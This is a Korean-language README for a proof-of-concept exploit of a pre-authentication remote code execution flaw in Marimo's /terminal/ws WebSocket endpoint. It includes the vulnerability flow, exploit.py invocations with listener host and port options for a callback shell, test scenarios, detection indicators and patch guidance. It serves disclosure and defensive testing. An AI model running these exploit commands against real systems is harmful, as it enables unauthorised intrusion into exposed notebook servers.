
# CVE-2026-39987 개념 증명 익스플로잇 Marimo의 터미널 WebSocket 엔드포인트에서 발생하는 사전 인증 RCE(원격 코드 실행) 취약점에 대한 개념 증명 익스플로잇입니다. 인증되지 않은 명령 실행을 시연하며, 취약한 인스턴스와 패치된 인스턴스를 검증하기 위한 테스트를 포함합니다.
| 속성 | 값 |
|---|
| CVE | CVE-2026-39987 |
| 제품 | Marimo |
| 취약점 | 인증 전 원격 코드 실행 (Pre-Authentication RCE) |
| 공격 경로 | 네트워크 |
| 인증 요구 여부 | 불필요 |
| 사용자 상호작용 | 불필요 |
| CWE | CWE-306 — 중요 기능에 대한 인증 누락 |
| 심각도 | 치명적 (Critical) |
| 패치 버전 | 0.23.0 |
CVE-2026-39987은 반응형 Python 노트북 환경인 Marimo에 영향을 미치는 치명적인 인증 전 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 터미널 WebSocket 엔드포인트 /terminal/ws에 위치합니다.
취약한 터미널 엔드포인트는 WebSocket 연결을 수락한 후 대화형 PTY를 생성합니다.
개념적으로, 취약한 요청 흐름은 다음과 같습니다:
원격 클라이언트
|
| WebSocket 연결
v
/terminal/ws
|
| 인증 검증 누락
v
WebSocket 수락
|
v
PTY 생성
|
v
대화형 셸
중요한 보안 경계는 인증 검사가 누락된 지점입니다.
임의 명령 실행을 노출하는 엔드포인트는 인증되지 않은 클라이언트가 PTY 생성 로직에 도달하는 것을 허용해서는 안 됩니다.
이 프로젝트의 목적은 통제된 환경에서 Marimo의 터미널 WebSocket 엔드포인트에 영향을 미치는 인증 누락을 시연하는 것입니다.
보안 팀은 이 프로젝트를 다음 용도로 사용할 수 있습니다:
경고: PoC는 본인이 소유하거나 명시적으로 테스트 승인을 받은 시스템에 대해서만 실행하십시오.
전체 취약점 체인은 다음과 같이 요약할 수 있습니다:
1. 공격자가 노출된 Marimo 인스턴스 발견
|
v
2. 공격자가 /terminal/ws에 연결
|
v
3. 인증이 적용되지 않음
|
v
4. WebSocket 연결이 수락됨
|
v
5. PTY 터미널이 생성됨
|
v
6. 공격자가 명령 실행 권한 획득
|
v
7. Marimo 프로세스 권한으로 명령 실행
중요한 보안 실패는 3단계에서 발생합니다.
Python 3.7+
pip
승인된 대상에 대한 네트워크 접근
# 기본 설치
pip install websocket-client
# 전체 설치
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| 매개변수 | 유형 | 설명 | 기본값 |
|---|---|---|---|
-u, --url | string | 대상 Marimo 인스턴스의 기본 URL | 필수 |
--lhost | string | 리스너 IP 주소 | 필수 |
--lport | int | 리스너 포트 (1-65535) | 필수 |
--timeout | int | 리스너 타임아웃(초) | 15 |
--retries | int | WebSocket 연결 재시도 횟수 | 3 |
--retry-delay | float | 재시도 사이 지연 시간 | 2.0 |
--no-verify-ssl | flag | SSL 인증서 검증 비활성화 | False |
-v, --verbose | flag | 상세 출력 활성화 | False |
-s, --silent | flag | 출력 억제 | False |
1단계: 초기화
↓ 매개변수 검증
↓ 로깅 구성
2단계: 준비
↓ 리스너 초기화
↓ WebSocket 연결 설정
3단계: 검증
↓ 터미널 엔드포인트 테스트
↓ 인증 적용 여부 확인
↓ 연결 동작 기록
4단계: 시연
↓ 공인된 테스트 세션 설정
↓ 명령 실행 컨텍스트 확인
↓ 검증 증거 수집
5단계: 정리
↓ 터미널 상태 복원
↓ 연결 종료
↓ 리소스 해제
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
예상 결과: 취약한 터미널 엔드포인트가 인증되지 않은 연결을 수락합니다.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
예상 결과: 인증 통제에 의해 연결이 거부되거나 차단됩니다.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
예상 결과: 타임아웃이 정상적으로 보고됩니다.
심각도: 치명적 (CVSS 9.3)
복잡도: 낮음
인증: 불필요
영향: 원격 코드 실행
프로토콜: WebSocket
엔드포인트: /terminal/ws
패치 버전: 0.23.0
소스 README는 이 문제를 CVSS 9.3 치명적 등급으로 분류하고 CWE-306, 프로토콜로 WebSocket, 영향을 받는 엔드포인트로 /terminal/ws를 식별합니다.
악용 가능성을 나타내는 지표에는 다음 엔드포인트에 대한 예상치 못한 WebSocket 연결이 포함됩니다:
/terminal/ws
방어자는 다음 사항을 조사해야 합니다:
Marimo를 패치된 릴리스로 업그레이드하십시오:
0.23.0 이상
추가 방어 권장 사항은 다음과 같습니다:
/terminal/ws 활동에 대한 로그를 검토하십시오.CVE: CVE-2026-39987
CWE: CWE-306
심각도: 치명적
유형: 인증 전 RCE
프로토콜: WebSocket
엔드포인트: /terminal/ws
인증: 불필요
패치: 0.23.0
공인된 사용 전용
이 프로젝트는 다음 용도로만 제공됩니다:
무단 사용은 엄격히 금지되며 해당 지역 및 국제 법률을 위반할 수 있습니다.
이 프로젝트는 보안 연구, 취약점 검증 및 교육 목적으로 제공됩니다.
본인이 소유하지 않거나 명시적 테스트 승인을 받지 않은 시스템에 대해 PoC를 사용하지 마십시오.
유지관리자는 오용, 무단 테스트, 손상, 데이터 손실 또는 이 프로젝트 사용으로 인한 모든 결과에 대해 책임을 지지 않습니다.